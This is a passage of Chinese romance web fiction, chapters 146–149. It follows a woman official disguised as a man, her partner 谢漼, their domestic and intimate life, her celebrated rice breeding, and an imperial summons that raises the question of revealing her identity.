甄恒摇了摇头,一声不吭,用完便走出去了。原来他可是很讲礼貌的,一般会等寻真谢漼二人都用完饭,才会离席,就算想提前走,也会说,“娘,爹,孩儿已用完,先退下了。” 寻真问谢漼:“他这是怎么了?” 谢漼:“此乃恒哥儿成长之兆。” 寻真蹙着眉思索片刻,恍然。 小恒的变声期到了! 寻真便去哄人了。 一路寻至书房。 甄恒正绷着一张脸,练字。 寻真:“小恒!” 甄恒抬眼飞快地瞄了她一下,抿抿唇。 寻真:“方才我刚睡醒,脑子还不清醒呢,才听岔了……小恒,这是气上我了?” 甄恒放下笔,瞅着她。 寻真:“小恒,怎不愿意跟娘说话了呢?” 甄恒似是经过一番内心挣扎,才开口唤:“娘。” 声音粗重低沉了许多,声线还不太稳定,带着几分沙哑。 寻真:“小恒开始变声了,说明长大了呢,这很好呀,以后就不是孩子了。” 甄恒听了,点点头,紧锁的眉头很快舒展开来。 甄恒是很好哄的小孩。 几句便给寻真哄好了。 寻真找到谢漼,眉眼间皆是笑意,道:“小恒开始变声了,想来,很快便会长个子了!” 第146章 第146章“好物” 午后,日影斜移,两人一坐一卧,静谧地度过时光。 谢漼在案前挥毫,寻真在一旁的榻上躺着。 寻真看完一本书,望着谢漼的侧脸,走了会儿神,忽然道:“谢漼,我总这样直呼你的大名,你会不会不喜欢?” 谢漼:“真儿都唤我这么久了,这会儿才想起来问?” 寻真翻身趴下,双手托腮:“我想为你起个小名儿,听着亲近些,怎么样?” 谢漼转过身来,衣裳蹭了墨点子,问道:“何名?” 寻真:“漼漼,小漼,小漼漼……你喜欢哪个?” 谢漼拿着笔,一滴墨汁坠下,在袍前晕染开来。 沉默许久。 谢漼道:“若想亲近些,真儿唤我字便是。” 寻真:“你就从这三个中挑一个,快选一个!” 谢漼不答,寻真便催促道:“你不选,那我给你选,以后我就唤你——” 谢漼打断:“那便第一个吧。” “好……漼漼!” 寻真看着谢漼的表情,直乐,笑得眼睛弯成了月牙。 寻真:“漼漼,漼漼,漼漼,漼漼!” 谢漼似有些接受无能,眉梢微微一蹙,但瞧见她笑若桃李,又忍不住嘴角上扬。 心道,能博真儿一笑,此名又何妨? 夜里,谢漼进房,看见屋内的景象,脚步一顿。 寻真刚沐浴完,着一身玉色中衣,青丝披散,发梢微湿,脸上还残留着水痕,烛火在她身上投下光影,朦胧又美好。 只觉这眼前景致胜却人间无数。 心被汩汩暖意充斥,纵是朝夕相对,夜夜都能见到这番景象。 谢漼仍为这一幕不住心动,看得痴了。 谢漼刹时便有了想要作画的冲动。 寻真见谢漼呆立原地,扬起手,上下挥动着:“漼漼,快过来。” “……你傻站在那儿干什么呢?” 谢漼唇角勾起,旋即朝她走去。 走到一半,停住。 好像突然意识到有哪儿不太对劲。 杵在屋中央,凝神细思。 寻真:“快点呀!” 见他还不动,寻真便上前握住他的手,牵着往床边拉。 谢漼顺从地跟着她走。 坐在床沿。 寻真亲了下谢漼的唇,直接把他按到床上,自己也躺下,枕在他胸口前,把他的手拉起来,放到腰间。 做完一切睡前准备工作后,搂住他的腰,闭上眼睛。 “困了,今天早点睡。” 谢漼只走神了片刻,便被这般摆弄着躺好了,又是一愣,手圈紧了她,眼中渐渐漫出笑意。 “今日怎这么早就睡了?” 抬起手,抚着她的发:“真儿……方才见你浴后容颜,甚美,便想为你作一幅画。” 寻真口中溢出一声含混的“嗯”。 谢漼:“……真儿?” 寻真又应了一声,声音更加微弱了。 这么快便睡着了? 谢漼低下头,见她酣睡娇容,心下微动。 还未与她好好说上几句话,她便入梦乡,着实可惜。 今晚月华如练,正该趁着这月色,为她画一幅美人图,而后与她耳鬓厮磨,塌间私语,才不负了这良宵。 谢漼想着,低头吻她。 细密的吻慢慢落下,从额头、眼、鼻,最后至唇。 寻真回应着,数秒后,谢漼还不停,抬起手,掌心摁住他的唇。 “漼漼,别闹。” 谢漼心间一痒,初听觉得别扭,听久了,还生出几分欢喜。 这般叠声唤他的名,别有一番滋味。 寻真的手心一痒。 被湿润柔软的东西勾着。 寻真终于睁开了眼,仰头看谢漼。 谢漼:“真儿,我想为你作一幅画。” 大晚上的,都躺下了。 还要画画。 谢漼的创作欲望太旺盛了吧! 寻真不想离开她的人形抱枕:“要不,明天再画?” 谢漼:“真儿睡吧,不必管我。” 谢漼最后还是起身下床画画去了。 寻真躺在床上,看他挥毫,心中多少有点怨念。 寻真看看看着,没等回他,不知不觉睡着了。 回州城后,谢漼便在她的宅子住下了,若有人拜访,偶尔回一趟刺史府。 有了谢漼这人形闹钟,寻真便不需要鸡了,把鸡宰了吃了,每天都睡得特别好。 二人上衙,一前一后,坐不同的马车去,这宅子幽僻,易遮人眼目,谢漼还会特意吩咐永望多绕些路。两人偶尔会在州衙门口撞上。 蝗灾危机解除,寻真便又投身到水利中了。 隔三差五出差,到各个县里安置水车群,建渠筑堤、授农艺,将“善美稻”的种子带到各县。 一开始谢漼给稻子起这名儿,寻真还怕遭人非议,以为会有人暗地里嘲讽她动机不纯,沽名钓誉,没想到众人皆赞。如今稻种大行,她这小小八品官出尽了风头,州中官吏见了,都喊她“甄兄”,就连走在街上,都有不少百姓认出了她,叫她“善美大老爷”。 寻真觉得太高调了。 谢漼对她道:“名必有实,事必有功。你一心向民,这等赞誉,原是你应得的。若以赤子之功,目为‘沽名钓誉’,岂不令为民谋福者心寒了?” 好吧,谢漼说什么都能扯出一大堆道理来。 下半年,甄恒进入到了疯长期。 几乎每旬都会往上蹿一点。 正堂角落墙上的刻度越长越高。 以前,寻真拉着甄恒刻身高,他还不情不愿的,看着那痕迹落在同一个地方,小脸就垮下来了,还需要寻真哄一会才会恢复神气。 现在,天天主动在墙前站好,特别积极,看见标记位置往上升了,更是开心,用粗糙沙哑的声音对寻真说。 “娘,近日我骨头总是痒痒的呢……” “昨晚我还梦见了,我竟变成一根青竹,一晚上长了好高呢!” 到了年底,甄恒跟寻真一样高了。 寻真很开心,对谢漼说:“我本还以为小恒从此长不高了,如今他长得与我一样高,便放心了。即便不再长,这身高也足够了。” 谢漼道:“真儿对恒哥儿的期许如此低?” 寻真瞪他:“你这意思是说,你觉得我长得矮?” 谢漼一愣,道:“并非此意,真儿这身高正好,男女本就不同——” “打住打住!”寻真打断他,反问道,“若我与你生得一般高,你还会喜欢我吗?” 谢漼想象那样的场景,默了下。 真不知道,她脑子里这些个想法都是怎生出来的。 总令他词穷语塞,不知何以对答。 寻真见他不说,便指控他道:“原来你的喜欢是有条件的!” 谢漼忙封住她的唇,吻得她气虚,道:“真儿又冤枉我!” “不管真儿是何模样,我心始终如一。” 年底,寻真还做了个大事。 甄凌有了成家的想法,寻真便着手开始招赘。 先是去城里的每个武馆物色合适的小伙子,但这样挑起来麻烦,最后索性办了场比武招亲,热热闹闹地搞了半个月,许多外乡的年轻人都来了。 寻真和甄凌坐在台上看,挑挑拣拣,讨论许久,最后定下。 甄凌指着其中一人,脸微微红,在寻真耳边小声道:“就这个吧。” 小伙子是昆山县人士,家中行商,在城中集市有一家米铺,家中儿子多,相貌都不错,好几个都赘出去了。 这个是相貌最好的。 小伙子刚满十七,身高八尺有余,身姿挺拔。 长得好,体格健壮。 完全符合条件。 看过这些十七、八岁的小伙子们后,寻真再看到谢漼,心里不免有些落差了。 小伙子们浑身冒着热气,朝气蓬勃的。 虽然谢漼长得是很好,可毕竟年纪摆在那里了。 还……中看不中用。 虽然这么想他不好,但是…… 见寻真满脸愁闷,谢漼上前搂住她,柔声问道:“想什么呢?怎这般苦恼?” 寻真瞅瞅谢漼,叹了口气。 寻真:还是不打击他自尊心了,就只能自己默默吞下这苦楚了。 谢漼见她这神态,蓦地眼皮一跳,试探性问道:“真儿所忧,莫非是关于我?” 这么敏锐? 寻真忙正色道:“没有啊……” 然后亲亲他,“你别乱想。” 这时,甄恒从外面走进来,手里捧着一个深色长木匣。 “娘,我在书架缝里寻着这个匣子,可是你要紧的物件?” 寻真:“这里面是什么?” 甄恒:“我没看呢。” 谢漼伸手接过,寻真看着那长匣,大惊,突然想起这里面装着什么了。 是她给自己捏的“那个”,科举用过之后便藏了起来,后来想找却找不到了,原来掉进夹缝里了。还想着要不要重新整一个,以防不时之需。 寻真忙伸手从谢漼手里夺过来。 对甄恒道:“小恒,多亏你了,我找了很久都没找到呢。” 甄恒出去后,谢漼看向她,眼中有几分好奇,问道:“真儿,这里藏着何物?能否让我看看?” 寻真道:“你还是别看了……” 寻真:你接受不了的! 谢漼:“为何不能让我看?” 顿了下,又道:“莫不是有哪个儿郎赠了真儿好物,才这般藏藏掖掖?” 寻真:“你怎想到这上头去了?……跟这方面完全不相干的!” 谢漼:“那真儿为何不敢让我看?” 他执意要看。 寻真迟疑了下:“你真要看?” 谢漼微微颔首。 寻真:“那你看完了不许说我哦!” 谢漼又点了点头。 寻真打开长匣,盯着谢漼。 这次明显是真的超出他能接受的范围了。 谢漼微微张开唇,像是石化了…… 寻真还火上添油加了一句:“你有没有觉得很熟悉?” “就是你那根……” 第147章 第147章“兑现” 寻真瞧着谢漼这模样,觉得有点好玩,还想逗一逗他。她从长匣里拿出,握住底部,在谢漼面前甩了甩,继续道:“漼漼,你猜猜看,这物件,我是用来做什么的?” 谢漼眸光涣散,上唇不受控地微微抽了两下。 寻真道:“这是我应考时做的,本以为会查的很严呢……” “虽然没派上用场,不过带着这个,还挺有安全感的。” 寻真拿着给谢漼解说道:“这个材质粘性很强,就算跑动也不会掉。不过我担心有意外, 还在上面系了根绳子,可以绑在腰上。” “随便怎么甩都没事。” “要不我给你演示一下我是怎么戴的?” 说着,寻真撩起了下袍。 谢漼终于从呆滞状态中回过神来,伸手,一把攥住她的手腕,道:“不必。既已看过了,便放进去吧。” 寻真哦了一声。 把东西塞回匣中,合上盖子,放到案上。 许久,谢漼自我消化完毕,看那表情像是把刚才那一段插曲给直接略过了,当做没发生过,若无其事道:“天色已晚,真儿腹中可觉饥饿?不如我为你下厨?” 寻真眼睛一亮:“你还会下厨?” 谢漼颔首。 前些日子,邻居要搬家,寻真便买下隔壁宅子,将两家打通,甄凌搬到隔壁去了。 当然,这里的房间仍为她保留着。 隔壁房子面积更大,小蝶也一同搬了过去。 如今,这座小院便只剩寻真、谢漼、甄恒三人居住。 谢漼身上难免存着些世家子弟的做派。 自两人和好后,谢漼每次来昆山县,都会带几个人随行,还在附近购了宅子,让仆从们住在那儿。每日早中晚都有人过来做饭、定时打扫,他自己不干活,也不让寻真干。 反正他有钱,寻真就由着他,不用干活倒也轻松。 所以,得知谢漼会做饭,寻真还是很震惊的。 寻真搬了把小椅子在一旁看。 谢漼慢条斯理地处理食材,动作不紧不慢,做菜都弄得像搞艺术一样。 赏心悦目。 一碗素面,汤色清亮,佐以几缕青菜、几片薄肉。 色泽诱人,闻着就很香。 甄恒见后,疑惑道:“今日又不是我的生辰,爹怎亲自下厨做吃食了?” 问了甄恒,寻真便知道往年甄恒生辰,谢漼都会为他做面。 寻真尝了一口,道:“好吃!” “漼漼,你以后还会做给我吃吗?” 谢漼唇边含笑,道:“若有闲时,自当满足真儿所愿。” 用完饭,谢漼的人便上门清理,将桌面收拾干净、洗完碗筷,顺便清扫厨房,随后悄无声息地离开。 夜里,谢漼环着寻真,寻真正昏昏欲睡,谢漼突然冒出一句:“白日,真儿为何看着我叹气?” 寻真一下精神了:“……啊?” 试图蒙混过关:“没有啊……我何时看着你叹气了?” 黑暗中,谢漼静了一会,松开了她。 接着,他覆在她身上,热息扑面而来。 寻真感觉胸口一凉。 “谢漼——” 寻真刚开口,就被谢漼吻住了唇,吻了一会儿,寻真的气息乱了。 谢漼低哑的声音钻入她耳中。 “真儿,可是嫌我了?” 寻真:“没有……你别瞎猜。” 谢漼不言,向下吻去,寻真眼神有一瞬的迷离,但很快恢复理智,手掌抵住他的脸,说:“算了……还是等你心疾好了再说……” 谢漼捉住她的手,在掌心印下一吻,俯身到她耳边,将耳垂勾进唇里,吮了吮,轻声道:“真儿,我曾许你的,该兑现了。” 寻真有些迟钝:“……嗯?” 很快,寻真便明白他说的是什么了。 周身被黑暗笼罩,触觉却异常清晰。 寻真脑海里想象着那样的画面。 醺醺然,似坠入无边无际的幻境之中。 不知今夕何夕。 寻真猛然从昏蒙中抽离。 她坐了起来,在黑暗中摸到谢漼的脸。 是湿的。 室内极静,谢漼的呼吸声几不可闻,像是在刻意压抑。 寻真抱住了他,轻轻地问:“怎么了?” 须臾,听到谢漼低低的声音。 “真儿,我……亏欠你许多。” “本以为,再也无法……” 说到这里,他哽住,说不下去了。 “嗯。”寻真轻轻地应了一声,伸手,轻柔地擦他的脸,而后倾身,唇贴了贴他的脸,道,“我知道,以后我们还有很长的日子呢。” “你答应我的,一件件做不就行了?” 谢漼嗯了一声,吻她,两人倒在床上,紧紧拥住彼此。 新年过后,寻真正式转正。 州里灭蝗大胜,州衙上下都得了赏赐,有的升了官,有的得了银钱,整个州衙喜气洋洋。待得春耕时节,寻真就一门心思琢磨着给水稻版本升级,天天泡在田里。偶有闲暇,便回昆山县,帮着甄凌操办婚事,喜帖婚服、酒席陈设,一一打点。 甄凌的婚礼定在五月,寻真邀请了街坊四邻和以前县衙的同僚,潘竞、武岳等人都来了。 寻真第一次带着甄恒在众人面前亮相。 向大家介绍:“这是我儿,甄恒。” 半年不到,甄恒跟窜天竹似的长,现在大概有一七五,寻真都需要仰头看他了。 照这趋势长下去,寻真觉得有望突破一米九。 甄恒还有些紧张,腰板挺得特别直。 礼貌地挨个唤人。 潘竞瞅着两人相似的面容,心中起了疑窦,把寻真拉到一边,问道:“竞舟,这孩子应不是你那未婚妻所出吧?” 寻真微诧,想了会,正色道:“小恒是我远房外甥,过继来延续香火,并非我亲儿。” 潘竞:“这话可糊弄不了我!你二人长得跟一个模子刻出来似的,哪有这等巧事?” 寻真一时语塞。 潘竞摇了摇头,叹道:“观此子年岁,约摸十五,细究起来,你弱冠之前便有了私情,负了婚约。我还道你是情种,哎……” 寻真神色不改,还是坚持道:“确为过继!同宗同源,相貌相像有何稀奇?” 潘竞显然不相信。 寻真挑眉道:“子尚都老大不小了,怎不关心关心自己的终身大事?你瞧,我儿都这么大了,你还孤零零一人,再这样拖下去,可不好找啊!……子尚也该早点为自己打算了!” 潘竞被噎得说不出话。 寻真拍拍他的肩,去招待其他客人了。 热热闹闹办完甄凌的婚礼。 寻真见甄凌眉眼含笑,小两口相处和睦,小伙子也很勤快,整日忙里忙外操持家务。 寻真为甄凌感到高兴,但仍有些放心不下。 临走前,寻真特地拉着甄凌叮嘱道。 “若他敢欺负你,定要告诉我。” “这个不行,咱们就换一个。” 甄凌红着脸道:“有你在,他哪敢欺负我?你便放心罢!” 到了夏天,寻真便格外关注谢漼的身体状况。 每日早晚又开始问他:“今日感觉如何?可有哪里不舒服?” 谢漼一直没有异常,直到甄恒生辰过后,也未见心疾发作。夜里,寻真开心地抱住谢漼,问道:“漼漼,你的心疾莫不是好了?” 谢漼眉眼舒展,弯唇道:“到今日都没发作,应是自愈了。”说着,他搂住她的腰,指尖勾着她的衣摆。 暗示般在她耳旁道:“不如,今晚……” 寻真按住他的手:“不行。” “还是再观察观察,等入秋了,你还没犯病,再说。” 谢漼不听,灼热的大掌包裹住她的肩,锁住她的唇。 “……真儿,我再等不得了。若这‘隐疾’迟迟不医,迁延日久,日后好不了,可如何是好?” 自与她和好,已一载有余了…… 常见她眼底藏着隐隐愁绪,谢漼自是猜出她在想什么,便如鲠在喉,心中都快堵死了。 彼时,不过见她为自己忧心,一时感动,又存了逗弄心思,想着瞧她得知真相后的可爱模样。 未曾想,竟被这“病”阻隔,一年都不得亲近。 谢漼早后悔了。 谢漼:“真儿,莫再推辞……” 这半年来,谢漼时常用舌帮她,寻真是很满足的。 现在他有这个想法,寻真不好意思拒绝。 寻真踟蹰着道:“那我们试试,但……你若感觉不适了,我们便立刻停。” 谢漼声音喑哑:“……嗯。” 寻真感觉胀胀的,不敢动了,下意识屏住呼吸,许久未受,有些不适应。 寻真抓住谢漼的手臂,脸热热的:“谢漼,要不……” 谢漼低笑:“真儿为何不叠声唤我了?” 寻真:“……漼漼。” 谢漼轻嗯一声,吮她的唇,许久,寻真眼角溢出水珠,好几次都到临界点了,谢漼却不给她,像是刻意控制。 寻真气了,拍了下谢漼,手绵软无力,似轻抚。 “你干什么?故意耍我……” 谢漼摸摸她的脸,道:“真儿,让我忍了这么久,怎这一会便耐不住了?” 寻真:“我明明是担心你身体,又不是故意的。” 谢漼俯身,温热气息拂过寻真耳畔。 “那真儿且瞧仔细了,你夫君这身子,可还康健。” 这一夜的感受很难形容。 总之,寻真是“捱”过来了。好在次日不用上衙。 寻真连床都爬不起来。 第148章 第148章“先试试” 谢漼大步跨进房门,衣袂翩然,眉眼张扬,唇 角噙着笑意,道:“真儿醒了?”他在床边坐下,伸手抚过她的面颊。 想起昨夜谢漼故意使坏,心中存着几分不服,盘算着定要寻个机会“报复”回来。 只是眼下,还有件更要紧的事亟待解决…… 谢漼问:“在想什么?” 寻真指了指案:“漼漼,帮我拿纸、笔,还有那本书过来。” 谢漼转身给她拿来。 寻真将书垫在被子上,覆上纸,拿着炭笔慢慢画起来。 谢漼本来坐在床边含笑看着,看着看着,笑容消失了。 “……真儿在画什么?” “你看不出来吗?”寻真的眼神往谢漼腿间一扫,然后捏起纸端详,“我画技也没那么差吧?” 谢漼沉默了一会儿,道:“画这个做什么?” 寻真:“避孕。你那个法子不稳妥,还是会有几率怀上的。” 谢漼:“我早有安排,已遣人制囊,申时便会送到。” 寻真来了兴趣,问道:“你也有准备?是用什么做的?” 谢漼:“羊肠、鱼鳔等物。” 寻真:“那我们今晚先试试,若是不好使,我再做。” 不料,下午寻真去书房,见谢漼立在案前,手撑着案面,眉峰微蹙。寻真急忙跑过去,扶住他:“漼漼,可是心疾发作了?” 谢漼道:“相较去岁,此恙已轻许多,真儿莫忧。” 寻真:“你何时开始疼的?” 谢漼:“约莫一刻前。” 寻真仔细打量,见谢漼不过眉头微皱,额上不见汗珠,面色也与平常一般。约莫一盏茶工夫,谢漼便恢复如常。 这次病发,无论是发作程度还是持续时间,都比以往减轻许多。 申时,谢漼差人定制的避子囊送达,寻真瞅了瞅,还是塞到衣柜里,对谢漼道:“这些先收着,一时半会儿用不上了。” “定是你昨夜累狠了,将自个给弄透支了,才又犯病。” “往后,还是收敛些罢。” 谢漼清楚自己的身体状况,自入夏以来,旧疾偶有反复,因症候轻微,故未在她面前显露半分,恐徒增其忧。 此番病发偏被她撞见,还赖到昨天头上,谢漼一时语塞,不知如何辩。 见谢漼沉默,寻真又道:“漼漼,昨日你是不是逞强了?” “我们现在都什么关系了?在我面前,你无需这般顾念男儿颜面。” “……你放心好了,哪怕你往后再不能人道了,我也断不会弃你而去的。” 反正还有其他的办法能获得快乐。 “答应我,下次不这样了,好不好?” 谢漼见她眉眼间皆是关切,牙根发痒,恨恨。 忽而探出手,按住她双颊,使劲搓揉起来。 寻真:“唔……你干什么……” 整个夏天,谢漼心疾虽时有反复,但发作次数比从前少了,疼得也没那么厉害。看着他慢慢好转,寻真才算踏实了些。 晚上,谢漼常挑灯夜读。 寻真困得眼皮打架,迷迷糊糊睁眼,还见他在灯下翻书。 有回她凑过去一瞧,桌上都是医书。 寻真:“怎突然看起医书来了?” 谢漼将她抱到膝上,左臂环住她的腰,右手执书道:“前些日子寻来的,内有不少调理心疾的古方,或可一试。” 怪不得谢漼最近每日喝的药都不同。 原来这是把自己当小白鼠了。 寻真:“这些药方靠谱吗?你天天换着喝,别把身子喝坏了!” 谢漼一笑,捏捏寻真的鼻子:“真儿当我如此娇弱?我自个儿的身子,岂会不知轻重?” 寻真:“哦……那你怎现在才这般钻研?以前可有试新方?” 谢漼:“昔日所服,皆是我反复斟酌,与我之疾最为相和,如今不过是盼着能寻到一剂妙方,将这病症除去,再无后患。” 以前…… 谢漼摸着她的发,每日强撑,已是耗尽气力,如何还有余力为自己治病? 今幸得她仍在,还愿意回到他身边,那他定要好好活着,与她携手共赴白头。 秋收过后,各县衙把收成册子报给州里,州衙汇总后,今年这收成,比往昔丰年还多出一大截! 得益于漕渠疏浚、新稻试种,又逢天时顺遂,比起去年增收了三成! 这下寻真可出了大名,地方乡绅、文人墨客,个个都想结识她。 从秋天到年底,寻真天天都有访客。 寻真下半年跟着谢漼陆陆续续见了好多人。 一日,寻真陪着谢漼接待别州的官员,都是来取经学农耕水利技术的。 寻真毫无保留,倾囊相授,讲了整整一下午。 往回走,就有个小吏跑来,说有人在客堂等她。 是纪慎。 见她进屋,纪慎也起身,微笑唤:“竞舟。” 两年多没见,纪慎变了许多,黑了,但眉眼间萦绕的郁气散了不少,看来这两年过得还可以。 寻真:“廷秀何时回来的?” 纪慎:“今晨方至,一入酒肆便听人议你,如今你做的那些,惠及万民,当真令人钦佩。” 寻真起初被夸还会不好意思,现在听得多了,习以为常,笑道:“折腾这么些日子,可算出了点成绩!” 纪慎:“不知竞舟今日可有空?你我二人许久未曾把酒临风,共话心事了。” 寻真散衙后,便随纪慎往酒楼去。纪慎早订下了雅间。 寻真因记着与谢漼的承诺,只推说身子不爽利,不能饮酒。 纪慎自斟自饮,讲起他在外地当官的经历。 初入官场时太过耿直,得罪了不少人。如今历经世事,学会了些圆滑手段,只是夜深回想起来,心里就不是滋味,昔日之我,终不复存矣…… 寻真听着,心想,纪慎这也太多愁善感了些,这性子倒很适合搞艺术…… 寻真:“那便和光同尘,以心自守。” 纪慎听了,一怔,叹道:“竞舟心性豁达如此。” 二人聊至深夜。 回到住处,卧房黑漆漆,没点灯,寻真小心翼翼走进去,刚关上门,便听见凉飕飕的声音从不远处传来。 吓她一跳。 “我还以为竞舟今晚要宿在别处了。” 下一瞬,室内亮堂起来。 寻真转身,谢漼穿戴完整,立在案前。 寻真:“这么晚了,你怎还不睡?我不是让人传话给你了吗?” 谢漼沉默地注视她。 寻真小跑着过去,握住他的手,“哎呀,怎么这么凉?”捧起来,放在唇边,吹一吹,弯着笑眼看他。 谢漼脸色稍缓,揽住她,抿紧唇,眼中仍有几分怨念。 寻真捧住他的脸,踮脚,吻了吻唇,“我还没沐浴呢?等洗了再跟你好好说,嗯?”说着,寻真抬起手,拍了拍他的头。 谢漼又轻哼一声。 寻真往前迈了一步,他攥住她的手腕,扯到怀里,一把抱起。 “不如我帮竞舟洗?” 寻真勾住他的脖子:“好啊。” 到了浴房,寻真便张开手臂,享受谢漼技师为她服务。 最后困了,倚在谢漼的臂弯里,眼皮不停地往下掉。 谢漼捏住她的脸蛋,扯了扯。 寻真:“……干嘛?” 谢漼:“这便睡了?方才怎么说的?” 寻真哦了一声。 谢漼擦干她身上的水,寻真坐在矮塌上,张开手臂,摆了摆,示意他将自己抱起。 谢漼将她抱起。 寻真的脸贴在他胸前,手抬起来,指尖触着他脖子中央一滚一滚的喉结,又捏起来,玩着玩着,谢漼低头,有些无奈地看她。 “真儿再这般勾我,叫我如何能忍得下去?” 寻真收回了手,弯起眼,点点他的唇,道:“怎么不叫我竞舟了?” 谢漼轻哼一声。抱着她,慢慢朝卧房走去。 走到床前,将她放下。 寻真继续贴过去,坐他腿上,道:“我在青麓书院中,也就与纪慎关系最好了。我们一起参加了乡试、会 试,最后还一同中了进士,这般经历下来,自然比旁的同窗要亲厚些了。” 谢漼道:“那此人,应是竞舟的知己了?” 寻真忍不住掐他的脸,倒很想直接应下:对啊,就是知己怎么啦? 但想想刚才他为自己服务了,就稍微哄一下吧。 寻真转了转眼珠,道:“纪慎于我,是同窗,亦是多年好友。” “但知己,还称不上。” “这世上,只有一人能称得上我的知己了。” “缮之不妨猜猜,那个人,是谁呢?” 谢漼凝视着她,片刻,哑着嗓子问:“……是谁?” 寻真:“此人上知天文,下知地理。” “琴棋书画,医卜星象,无所不知。” “这般世间难得的全才,也不知,可否愿意做我知己?” 说完,寻真戳了戳谢漼的胸膛。 谢漼常听旁人赞誉,皆如过眼云烟。可这话从真儿口中说出,胸口竟抑制不住地沸腾起来,脸也跟着发烫,嗓子低哑,道:“……自然愿意。” 寻真眼睛弯起的弧度更深,道:“漼漼,你怎还跟以前一样自恋?” “我还没说是谁呢,你怎就这么快带入自己了?” 谢漼暗暗咬牙。 寻真咯咯地笑,乐不可支,逗谢漼实在有趣。 “好啦,不气不气。”寻真拍了拍他的脸,“我说的就是你啦,你没猜错。” 谢漼扣着她的腰,倒向床中。 直接堵住这张可恨的小嘴。 寻真回抱,同他接吻。 一吻结束,寻真靠在他胸前,喘匀了气,抬起头唤了他一声。 “漼漼。” 谢漼低下头来。 寻真语气认真道:“在这世上,你便是我最重要的人了。” “任何人都比不上的。” 第149章 第149章“瞒我?” 翌年,寻真培育的2.0版本水稻在全州推广开来。秋收时,收成较去年又上涨三成。 这在历年风调雨顺的年份里也从未有过! 去年来苏州学习技术的各地官员,将稻种带回属地,皆实现了不同程度的增产。 甄善美这名号,起初只是小有声响。 真正让“甄善美”名声远扬的,是稻种传至邕、容二州后,斩获惊人的种植成果。此二州地势崎岖,山峦叠嶂,能种地的地儿没多少,年年粮食都不够吃,历来为粮荒重灾区。 哪曾想今年,靠着这稻种,产量竟达往年两倍之多。 两地百姓望着满仓新谷,喜极而泣。 如此丰年盛景,自邕、容立州以来,从未有过! 邕、容二州百姓多信奉自然神灵、崇拜祖先,常举行祭祀祈求丰收。 面对这前所未有的丰收,他们连办三日丰收宴,随后又开展祭祀活动。 一些部落首领还建起了善美庙,定期组织百姓祈福感恩。 消息传到寻真这里,她着实惊愕许久。 打听后才知道,当地百姓已将这稻奉为“神稻”。 那地界儿部族混杂,信仰多元,崇信万物有灵,一年到头祭祀很是频繁。 又因当地巫师算过,“善美”二字暗合吉谶,遂筑庙奉祀,日日焚香。 对于年纪轻轻被立庙一事,寻真有些惴惴。 虽说百姓拜的或许并非她本人。 对这事,谢漼的接受程度明显比她高得多。 谢漼道:“若无德无功而受生祠,恐触天威,折阳寿。” “但你以稻种活邕容万民,功德昭昭。” “此祠非为虚誉,乃民心所铸,实至名归。” 寻真玩着谢漼的头发,捏着一缕头发,缠在食指上,反复绕圈,又松开,面露忧色道:“这么高调,会不会惹来麻烦?” 那缕发丝从她指间溜走,微微蜷曲着,谢漼起身时,在他脑后一弹一弹的。 未几,他捧着绸布包的文书回来,递给寻真。 “真儿莫忧,此为破局之良机。” “这是什么……” 寻真见袋上盖着皇家印玺,打开发现是一份手札, 扫了两行,问道:“这是圣上写给你的?” 谢漼颔首。 寻真读到中间,惊呼,道:“圣上要见我?” 寻真有些消化不良,“他见我干嘛?” 谢漼搂住她,摸摸她的发:“如今你才名鹊起,已入圣听。” “圣上素爱人才,对你起了兴致,便想见上一见。” 寻真有些为难,道:“我能不能不见?” 殿试时,寻真遥遥地看过一眼,对于这位能主宰所有人命运的封建帝王,本能地感到发怵。 谢漼道:“圣上既已开口,哪有不见之理?” 寻真心想,果然名气大不是好事,竟然被皇帝注意到了。 寻真道:“你是不是忘记了一件事?” 谢漼问道:“真儿,你可想恢复女儿身?” 寻真瞬时明白了谢漼话中的深意,不禁震惊道:“你是说,要向圣上坦白我的女子身份?” 谢漼点了点头。 寻真呆了呆,道:“……不要吧。” 她还是很爱惜自己这条小命的。 谢漼轻抚着她的背,缓缓道:“圣上仁厚爱民,重才惜才。” “若知你以女儿身兴水利、济苍生,圣上必惊叹,如此不世之功,竟出自一女子,定当破格嘉奖。” 谢漼这么说,寻真还是担心。 谢漼道:“我何时骗过你?待面圣那日,我与你同去,正好趁此机会,将你我之事和盘托出。” “如此,我们便不必藏头露尾,可光明正大相守了。” 寻真狐疑地瞅瞅谢漼。 她了解谢漼,自然知道他心中一直介意两人没名没分地住在一起,只是平常都不说。 寻真思考半晌,道:“漼漼……其实我们这样也没什么不好的,犯不着拿命去赌吧?” “你不为自己着想,也该为谢家,为小恒考虑考虑吧?” 伪造户籍、女子身考科举,这些都是写在刑法里的。 谢漼道:“真儿就这般不信我?” 寻真道:也不是不信……” 此后,谢漼每日给她讲皇帝的为人,细数皇帝仁德之举。强调她的功绩足以抵消过错,甚至可能因此升迁。 谢漼这张嘴,实在太能说了。 听着听着,寻真就被他洗脑了。 夜里,寻真躺在谢漼怀里,问他:“我真的可以用女子身当官?你没给我画饼吧?” 谢漼道:“十之七八可成。” 寻真动心了,最后决定搏一搏。 八月底,寻真跟着谢漼一起出发去京都。 谢漼苏州刺史任期已满。 这次回京,他大概率又能升官了。 去京都前,寻真收拾着东西。 箱子角落躺着一幅画,寻真拿出来,打开。 是谢漼画的,谢家那个小院的全览图,这幅画栩栩如生,寻真看着,脑海中浮现了在谢府生活的日子。 有些恍惚。 院中所有的植物都生机勃勃,两边的果树都开花了。 橘子树上缀着白色小花,石榴树上绽开红色小喇叭花。榆树下吊着一个双人秋千,院里四散着几把竹椅。 寻真看了一会,卷起放到一边,而后又从箱子里拿出那根被裁过的红绸。 这根红绸比寻真的手掌长一点。 寻真缠绕在指尖,神思抽离…… 许久,寻真回了神,余光瞄见身侧有一人立着,寻真刹时有些心虚地将红绸带丢进去。 转过身,摸摸鼻子,问道:“……你什么时候来的?” 谢漼看了那箱子一眼,又掀眸,看向寻真,目光灼灼,笑道:“真儿想起来了?” 寻真:!!! 看见寻真的表情,谢漼的笑容便漾开了。 谢漼细思片刻,又问道:“莫不是前年在吴县,真儿驱蝗时不小心撞到后脑,醒来后,便恢复记忆了?” 寻真见他笑得如此开怀,莫名有些不爽,没答。 谢漼向她走来,执起她的手,捏了捏,声音变得黏糊了:“真儿想起来了,怎也不告诉我?” 寻真支吾了一声,这事儿瞒不下去了,只好道:“……也没什么好说的吧,想起来就想起来了呗……” 谢漼又是笑,想起那日之事,心道,原来如此。 当日为她伤势忧心,心神大乱,又在床边守了一日一夜,神思倦怠,才疏忽了她的异样。 寻真的脸微微发烫,谢漼瞧着,莞尔,这般娇羞之态,许久不见了。 